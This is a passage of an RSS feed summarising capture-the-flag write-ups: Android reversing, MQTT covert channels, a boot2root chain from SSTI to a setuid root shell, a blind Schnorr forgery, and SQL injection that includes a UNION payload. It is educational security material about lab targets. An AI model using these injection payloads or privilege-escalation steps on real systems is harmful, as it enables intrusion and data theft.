Java.&lt;/p&gt;&#10;&lt;p&gt;The native library validates the response through a custom virtual machine with shuffled opcode handlers. Reversing the VM's four transformation rounds produces the accepted response:&lt;/p&gt;</description></item><item><title>FlaGuard</title><link>https://hotwater-online.xyz/writeups/isfcr/flaguard/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/flaguard/</guid><description>&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;An Android application, FlaGuard, is advertised as a strict flag-format validator. The provided attachment is &lt;code&gt;flaguard.apk&lt;/code&gt;, and the flag format is &lt;code&gt;isfcr{...}&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h2 id="accepted-flag"&gt;&#10; &lt;a href="#accepted-flag" class="md-heading-anchor"&gt;&#10; Accepted Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{sh4d0w_cl455l04d3r_tr1ckery}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This flag was confirmed accepted by the challenge submission system.&lt;/p&gt;&#10;&lt;h2 id="apk-inspection"&gt;&#10; &lt;a href="#apk-inspection" class="md-heading-anchor"&gt;&#10; APK Inspection&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;List the APK contents and decompile its code with JADX:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip -l flaguard.apk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jadx -d flaguard-jadx flaguard.apk&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The APK contains a small &lt;code&gt;classes.dex&lt;/code&gt; and two assets:&lt;/p&gt;</description></item><item><title>Fluxgate G3 — Factory Service Mode Bypass</title><link>https://hotwater-online.xyz/writeups/isfcr/fluxgate-g3/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/fluxgate-g3/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; IoT / Firmware / Protocol reversing&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{s1gn3d_p4rts_uns1gn3d_whole_ab84f1}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;A small industrial controller exposes a line-oriented ASCII maintenance service&#10;over TCP. Factory service mode is supposed to be reachable only by on-site&#10;technicians with a dedicated hardware token. We are given the vendor's firmware&#10;bundle (&lt;code&gt;fluxgate-g3.zip&lt;/code&gt;) and a low-tier operator token (capabilities&#10;&lt;code&gt;0x0003&lt;/code&gt;). The goal is to reach the &lt;code&gt;UNLOCK&lt;/code&gt; action (factory service mode) and&#10;fetch the flag.&lt;/p&gt;</description></item><item><title>Ghosts in the Bulb</title><link>https://hotwater-online.xyz/writeups/isfcr/ghosts-in-the-bulb/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/ghosts-in-the-bulb/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics (network / covert channels)&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{when_photons_and_seconds_both_carry_secrets_a7c3}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The capture is plain, unencrypted MQTT from 12 smart-home devices. Two devices hide data in covert channels:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;Channel&lt;/th&gt;&#10; &lt;th&gt;Device&lt;/th&gt;&#10; &lt;th&gt;Carrier&lt;/th&gt;&#10; &lt;th&gt;Carries&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&amp;quot;photons&amp;quot;&lt;/td&gt;&#10; &lt;td&gt;Bedroom bulb &lt;code&gt;192.168.1.32&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;LSB of the &lt;code&gt;bri&lt;/code&gt; (brightness) field&lt;/td&gt;&#10; &lt;td&gt;AES-GCM encrypted blob&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&amp;quot;seconds&amp;quot;&lt;/td&gt;&#10; &lt;td&gt;Robovac &lt;code&gt;192.168.1.40&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Gaps between messages&lt;/td&gt;&#10; &lt;td&gt;The key text&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;Decode both, derive the key, decrypt the blob, get the flag.&lt;/p&gt;</description></item><item><title>Ghosts in the Bulb — Local Version</title><link>https://hotwater-online.xyz/writeups/isfcr/ghosts-in-the-bulb-local/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/ghosts-in-the-bulb-local/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics (network / covert channels)&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{when_photons_and_seconds_both_carry_secrets_a7c3}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The capture is plain, unencrypted MQTT from a dozen smart-home devices. Two&#10;devices hide data in covert channels:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;Channel&lt;/th&gt;&#10; &lt;th&gt;Device&lt;/th&gt;&#10; &lt;th&gt;Carrier&lt;/th&gt;&#10; &lt;th&gt;Carries&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&amp;quot;photons&amp;quot;&lt;/td&gt;&#10; &lt;td&gt;Bedroom bulb &lt;code&gt;192.168.1.32&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;LSB of the &lt;code&gt;bri&lt;/code&gt; (brightness) field&lt;/td&gt;&#10; &lt;td&gt;AES-GCM encrypted blob&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&amp;quot;seconds&amp;quot;&lt;/td&gt;&#10; &lt;td&gt;Robovac &lt;code&gt;192.168.1.40&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;Gaps between messages&lt;/td&gt;&#10; &lt;td&gt;The key text&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;Decode both, derive the key, decrypt the blob, get the flag.&lt;/p&gt;</description></item><item><title>Keystone — Attestation Portal (boot2root)</title><link>https://hotwater-online.xyz/writeups/isfcr/keystone-user-and-root/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/keystone-user-and-root/</guid><description>&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;10.48.140.14&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="result"&gt;&#10; &lt;a href="#result" class="md-heading-anchor"&gt;&#10; Result&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;Flag&lt;/th&gt;&#10; &lt;th&gt;Value&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;user.txt&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;isfcr{tr0st_but_v3rify_the_endors3ment}&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;root.txt&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;isfcr{a_pcr_is_a_promise_not_proof}&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;&lt;strong&gt;Attack chain:&lt;/strong&gt; Jinja2 SSTI (RCE as &lt;code&gt;webapp&lt;/code&gt;) → forged TPM attestation against&#10;the internal vault (VAULT-114) → leaked &lt;code&gt;tpm-admin&lt;/code&gt; SSH key → TOCTOU symlink&#10;race in the &lt;code&gt;measure-and-run&lt;/code&gt; sudo helper → setuid root shell.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-reconnaissance"&gt;&#10; &lt;a href="#1-reconnaissance" class="md-heading-anchor"&gt;&#10; 1. Reconnaissance&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Full TCP scan:&lt;/p&gt;</description></item><item><title>LeetVault: The Hidden Test Case</title><link>https://hotwater-online.xyz/writeups/isfcr/the-hidden-test-case/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-hidden-test-case/</guid><description>&lt;h2 id="discovery"&gt;&#10; &lt;a href="#discovery" class="md-heading-anchor"&gt;&#10; Discovery&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The challenge page identifies the target as the legacy problem search. The&#10;Problems page shows that searches are sent to:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET /api/problems?search=&amp;lt;query&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;A normal request returns six public problems. Supplying a single quote causes&#10;a SQL error, indicating that the search value is inserted into a database&#10;query without adequate parameterization.&lt;/p&gt;&#10;&lt;h2 id="confirming-sql-injection"&gt;&#10; &lt;a href="#confirming-sql-injection" class="md-heading-anchor"&gt;&#10; Confirming SQL Injection&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The following UNION payload adds a synthetic result:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39; UNION SELECT 1,&amp;#39;x&amp;#39;,&amp;#39;y&amp;#39;,&amp;#39;z&amp;#39; -- &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Using curl:&lt;/p&gt;</description></item><item><title>Lossless Not Harmless</title><link>https://hotwater-online.xyz/writeups/isfcr/lossless-not-harmless/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/lossless-not-harmless/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{ch0ic3s_th3_d3c0d3r_n3v3r_s33s}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="inspecting-the-png"&gt;&#10; &lt;a href="#inspecting-the-png" class="md-heading-anchor"&gt;&#10; Inspecting the PNG&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The supplied &lt;code&gt;mosaic_0417.png&lt;/code&gt; is a 256 × 300 indexed-color PNG. It contains a palette, two text chunks, nine &lt;code&gt;IDAT&lt;/code&gt; chunks, and no data after &lt;code&gt;IEND&lt;/code&gt;. The picture looks like colorful noise.&lt;/p&gt;&#10;&lt;p&gt;The text chunks provide two leads:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Software: dfl-stitch 2.3 (equivalent-match mode, flush=sync)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Comment: aXNmY3J7bm9wZV9ub3RfdGhpc19vbmV9&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The comment decodes from Base64 to &lt;code&gt;isfcr{nope_not_this_one}&lt;/code&gt;, a decoy. The software string points toward the compressed representation: DEFLATE can encode the same output using different back-references, and sync flushes introduce stored-block alignment padding.&lt;/p&gt;</description></item><item><title>Mirror Garden</title><link>https://hotwater-online.xyz/writeups/isfcr/mirror-garden/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/mirror-garden/</guid><description>&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;Something is growing in the mirror garden, and only one leaf remembers.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;p&gt;Attachment: &lt;code&gt;mirror-garden.apk&lt;/code&gt;&lt;br&gt;&#10;Flag format: &lt;code&gt;isfcr{...}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="result"&gt;&#10; &lt;a href="#result" class="md-heading-anchor"&gt;&#10; Result&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{m1rr0r_g4rden_bl00ms_@t_m1dn1ght_7f3a}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The input to enter into the app's &amp;quot;whisper&amp;quot; field is:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;L.]^ooq(LlU^(a]#&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="apk-inspection"&gt;&#10; &lt;a href="#apk-inspection" class="md-heading-anchor"&gt;&#10; APK Inspection&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Listing the archive revealed a DEX file and a small ARM64 native library:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip -l mirror-garden.apk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jadx -d /tmp/opencode/mirror-jadx mirror-garden.apk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip mirror-garden.apk &lt;span class="s1"&gt;&amp;#39;lib/*&amp;#39;&lt;/span&gt; -d /tmp/opencode/mirror-native&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The important files are:&lt;/p&gt;</description></item><item><title>one-more — Blind Schnorr "one-more" forgery via ROS</title><link>https://hotwater-online.xyz/writeups/isfcr/one-more/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/one-more/</guid><description>&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;wss://one-more.isfcr.xyz&lt;/code&gt;&#10;&lt;strong&gt;Category:&lt;/strong&gt; crypto&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{r0s_1s_n0t_h4rd_f0r_l0g_p}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="the-service"&gt;&#10; &lt;a href="#the-service" class="md-heading-anchor"&gt;&#10; The service&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;server.py&lt;/code&gt; is a blind Schnorr signing service over secp256k1. On connect it&#10;sends its public key for that connection:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;X &amp;lt;128 hex&amp;gt; # X = x*G, fresh per connection&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Commands (one per WebSocket message):&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;command&lt;/th&gt;&#10; &lt;th&gt;reply&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;open&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;id &amp;lt;k&amp;gt; R &amp;lt;128 hex&amp;gt;&lt;/code&gt; where &lt;code&gt;R = r*G&lt;/code&gt;, fresh random &lt;code&gt;r&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;sign &amp;lt;k&amp;gt; &amp;lt;c&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;s &amp;lt;int&amp;gt;&lt;/code&gt; where &lt;code&gt;s = (r + c*x) mod n&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;submit&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;then one JSON line &lt;code&gt;[[msg_hex, Rx, Ry, s], ...]&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;quit&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;A signature &lt;code&gt;(R, s)&lt;/code&gt; on message &lt;code&gt;m&lt;/code&gt; is &lt;strong&gt;valid&lt;/strong&gt; iff&lt;/p&gt;</description></item><item><title>The Alphabet That Wasn't There</title><link>https://hotwater-online.xyz/writeups/isfcr/the-alphabet-that-wasnt-there/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-alphabet-that-wasnt-there/</guid><description>&lt;h2 id="result"&gt;&#10; &lt;a href="#result" class="md-heading-anchor"&gt;&#10; Result&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{d7ef3d5dd98bd325c3b50114}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The recovered evidence passes the AES-GCM authentication check supplied in the challenge.&lt;/p&gt;&#10;&lt;h2 id="extracting-the-pdfs"&gt;&#10; &lt;a href="#extracting-the-pdfs" class="md-heading-anchor"&gt;&#10; Extracting the PDFs&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The handout contains two files:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="sh"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;sh&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip &lt;span class="s1"&gt;&amp;#39;handout (5).zip&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;They are extracted into &lt;code&gt;the-alphabet-that-wasnt-there/&lt;/code&gt;. The symbols are drawn by Type 3 fonts: their glyph programs paint rectangles rather than using a conventional alphabet. Text bytes and glyph names therefore cannot be treated as the decoded characters.&lt;/p&gt;&#10;&lt;p&gt;The damaged file also contains compressed objects, nested Form XObjects, clipping, invisible text, and stale object data. A small parser in &lt;span class="local-artifact" title="Local challenge artifact; not published"&gt;inspect_pdf.py&lt;span class="artifact-note"&gt; (local artifact)&lt;/span&gt;&lt;/span&gt; scans the surviving indirect objects, decompresses &lt;code&gt;/FlateDecode&lt;/code&gt; streams, and expands &lt;code&gt;/ObjStm&lt;/code&gt; objects using their &lt;code&gt;/First&lt;/code&gt; offsets and object-number/offset headers. This recovers the dictionaries and content streams without relying on an intact PDF trailer.&lt;/p&gt;</description></item><item><title>The API That Knows Too Much</title><link>https://hotwater-online.xyz/writeups/isfcr/the-api-that-knows-too-much/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-api-that-knows-too-much/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The employee directory exposed internal employee records without enforcing that the requested record belonged to the logged-in user. The leaked &lt;code&gt;debug_reference&lt;/code&gt; for another employee led to an internal diagnostic endpoint and then to the case artifact containing the flag.&lt;/p&gt;&#10;&lt;h2 id="credentials"&gt;&#10; &lt;a href="#credentials" class="md-heading-anchor"&gt;&#10; Credentials&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span 